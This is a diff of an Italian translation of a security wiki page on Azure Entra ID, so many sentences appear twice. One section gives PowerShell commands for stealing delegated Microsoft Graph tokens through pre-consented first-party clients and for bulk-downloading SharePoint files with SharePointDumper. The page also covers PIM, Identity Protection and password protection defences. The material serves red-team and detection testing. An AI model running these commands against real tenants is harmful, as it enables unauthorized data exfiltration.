### Entra ID Roles
### Ruoli di Entra ID
Per maggiori informazioni sui ruoli di Azure consulta:
@@ -1060,8 +1135,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
> Se un dispositivo (VM) è **AzureAD joined**, gli utenti da AzureAD potranno **accedere**.\
> Inoltre, se l'utente loggato è **Owner** del dispositivo, sarà **local admin**.
> Se un dispositivo (VM) è **AzureAD joined**, gli utenti di AzureAD potranno **effettuare il login**.\
> Inoltre, se l'utente connesso è **Owner** del dispositivo, sarà **amministratore locale**.
### Unità amministrative
@@ -1100,14 +1175,14 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
{{#endtab }}
{{#endtabs }}
## Esfiltrazione di dati SharePoint delegata via Microsoft Graph (SharePointDumper)
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
Attaccanti in possesso di un **delegated Microsoft Graph token** che include **`Sites.Read.All`** o **`Sites.ReadWrite.All`** possono enumerare **sites/drives/items** tramite Graph e poi **pull file contents** via **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). Lo script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizza l'intero flusso (enumeration → pre-auth downloads) e produce telemetria per richiesta utile al testing delle rilevazioni.
Gli attaccanti in possesso di un **delegated Microsoft Graph token** che include **`Sites.Read.All`** o **`Sites.ReadWrite.All`** possono enumerare **sites/drives/items** tramite Graph e poi **estrarre i contenuti dei file** tramite **SharePoint pre-authentication download URLs** (URL a tempo che incorporano un access token). Lo script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizza l'intero flusso (enumeration → pre-auth downloads) e fornisce telemetria per richiesta per i test di rilevamento.
### Ottenere token delegati utilizzabili
### Obtaining usable delegated tokens
- SharePointDumper stesso **does not authenticate**; fornire un access token (opzionalmente un refresh token).
- Client **first-party** pre-consentiti possono essere abusati per ottenere un Graph token senza registrare un'app. Esempi di invocazioni `Invoke-Auth` (da [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
- SharePointDumper di per sé **non esegue l'autenticazione**; fornisci un access token (opzionalmente refresh token).
- Client **first-party** pre-consentiti possono essere abusati per ottenere un Graph token senza registrare un'app. Esempio di invocazioni `Invoke-Auth` (da [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
@@ -1122,9 +1197,9 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
> [!NOTE]
> I client FOCI TRUE supportano il refresh tra dispositivi; i client FOCI FALSE spesso richiedono `-Origin` per soddisfare la validazione dell'origine della reply URL.
### Esecuzione di SharePointDumper per enumeration + exfiltration
### Eseguire SharePointDumper per enumeration + exfiltration
- Basic dump con UA / proxy / throttling personalizzati:
- Dump di base con custom UA / proxy / throttling:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
@@ -1132,20 +1207,20 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
- **Riprendi** le esecuzioni interrotte (esegue nuovamente l'enumerazione ma salta gli elementi già scaricati):
- **Riprendi** esecuzioni interrotte (rienumera ma salta gli elementi già scaricati):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
- **Aggiornamento automatico del token su HTTP 401** (richiede EntraTokenAid caricato):
- **Aggiornamento automatico del token su HTTP 401** (richiede che EntraTokenAid sia caricato):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
Operational notes:
Note operative:
- Preferisce **token abilitati CAE** per evitare scadenze a metà esecuzione; i tentativi di refresh **non** vengono registrati nel log API dello strumento.
- Genera **log di richieste CSV/JSON** per **Graph + SharePoint** e oscura i token di download di SharePoint incorporati per impostazione predefinita (attivabile/disattivabile).
- Supporta **User-Agent** personalizzato, **HTTP proxy**, **delay + jitter per richiesta**, e spegnimento sicuro con **Ctrl+C** per il traffic shaping durante test di detection/IR.
- Preferisce token **CAE-enabled** per evitare scadenze a metà esecuzione; i tentativi di refresh **non** vengono registrati nel log API dello strumento.
- Genera log di richieste **CSV/JSON** per **Graph + SharePoint** e oscura per default i token di download embedded di SharePoint (configurabile).
- Supporta **User-Agent** personalizzato, **HTTP proxy**, **per-request delay + jitter**, e spegnimento sicuro con **Ctrl+C** per shaping del traffico durante test di detection/IR.
## Entra ID Privilege Escalation
@@ -1159,16 +1234,16 @@ Operational notes:
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
## Meccanismi difensivi
## Meccanismi di difesa
### Privileged Identity Management (PIM)
Privileged Identity Management (PIM) in Azure aiuta a **prevenire l'assegnazione eccessiva di privilegi** agli utenti quando non necessario.
Privileged Identity Management (PIM) in Azure aiuta a **impedire che vengano assegnati privilegi eccessivi** agli utenti inutilmente.
Una delle funzionalità principali di PIM è che permette di non assegnare ruoli a principal che sono costantemente attivi, ma di renderli **eleggibili per un periodo di tempo (es. 6 mesi)**. Quando l'utente vuole attivare quel ruolo, deve richiederlo indicando il tempo in cui necessita del privilegio (es. 3 ore). Quindi un **admin deve approvare** la richiesta.\
Nota che l'utente p anche richiedere di **estendere** il tempo.
Una delle funzionalità principali offerte da PIM è che permette di non assegnare ruoli a principal che rimangono costantemente attivi, ma di renderli **eleggibili per un periodo di tempo (es. 6 mesi)**. Quando l'utente vuole attivare quel ruolo, deve richiederlo indicando il tempo per cui necessita del privilegio (es. 3 ore). Poi un **admin deve approvare** la richiesta.
Nota che l'utente potrà anche chiedere di **estendere** la durata.
Inoltre, **PIM invia email** ogni volta che un ruolo privilegiato viene assegnato a qualcuno.
Inoltre, **PIM invia email** ogni volta che viene assegnato un ruolo privilegiato a qualcuno.
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
@@ -1176,16 +1251,16 @@ Quando PIM è abilitato è possibile configurare ogni ruolo con requisiti come:
- Durata massima (ore) dell'attivazione
- Richiedere MFA all'attivazione
- Richiedere Conditional Access authentication context
- Richiedere il contesto di autenticazione di Conditional Access
- Richiedere una giustificazione all'attivazione
- Richiedere informazioni sul ticket all'attivazione
- Richiedere approvazione per l'attivazione
- Tempo massimo per la scadenza delle assegnazioni elegibili
- Molte altre configurazioni su quando e a chi inviare notifiche quando si verificano determinate azioni relative a quel ruolo
- Richiedere approvazione per attivare
- Tempo massimo per la scadenza delle assegnazioni eleggibili
- Molte altre configurazioni su quando e a chi inviare notifiche quando certe azioni avvengono su quel ruolo
### Conditional Access Policies
Vedi:
Check:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -1193,19 +1268,19 @@ Vedi:
### Entra Identity Protection
Entra Identity Protection è un servizio di sicurezza che permette di **rilevare quando un utente o un tentativo di accesso è troppo rischioso** per essere accettato, consentendo di **bloccare** l'utente o il tentativo di accesso.
Entra Identity Protection è un servizio di sicurezza che permette di **rilevare quando un utente o un sign-in sono troppo rischiosi** per essere accettati, consentendo di **bloccare** l'utente o il tentativo di accesso.
Consente all'admin di configurarlo per **bloccare** i tentativi quando il rischio è "Low and above", "Medium and above" o "High". Tuttavia, di default è completamente **disabilitato**:
Permette all'admin di configurarlo per **bloccare** i tentativi quando il rischio è "Low and above", "Medium and above" o "High". Tuttavia, di default è completamente **disabilitato**:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Oggi si raccomanda di aggiungere queste restrizioni tramite Conditional Access policies dove è possibile configurare le stesse opzioni.
> Oggi è consigliato aggiungere queste restrizioni tramite le Conditional Access policies dove è possibile configurare le stesse opzioni.
### Entra Password Protection
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.\
Consente inoltre di **bloccare una lista personalizzata di password** che è necessario fornire.
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.
Permette inoltre di **bandire una lista personalizzata di password** che devi fornire.
Può essere **applicato sia** a livello cloud che su Active Directory on-premises.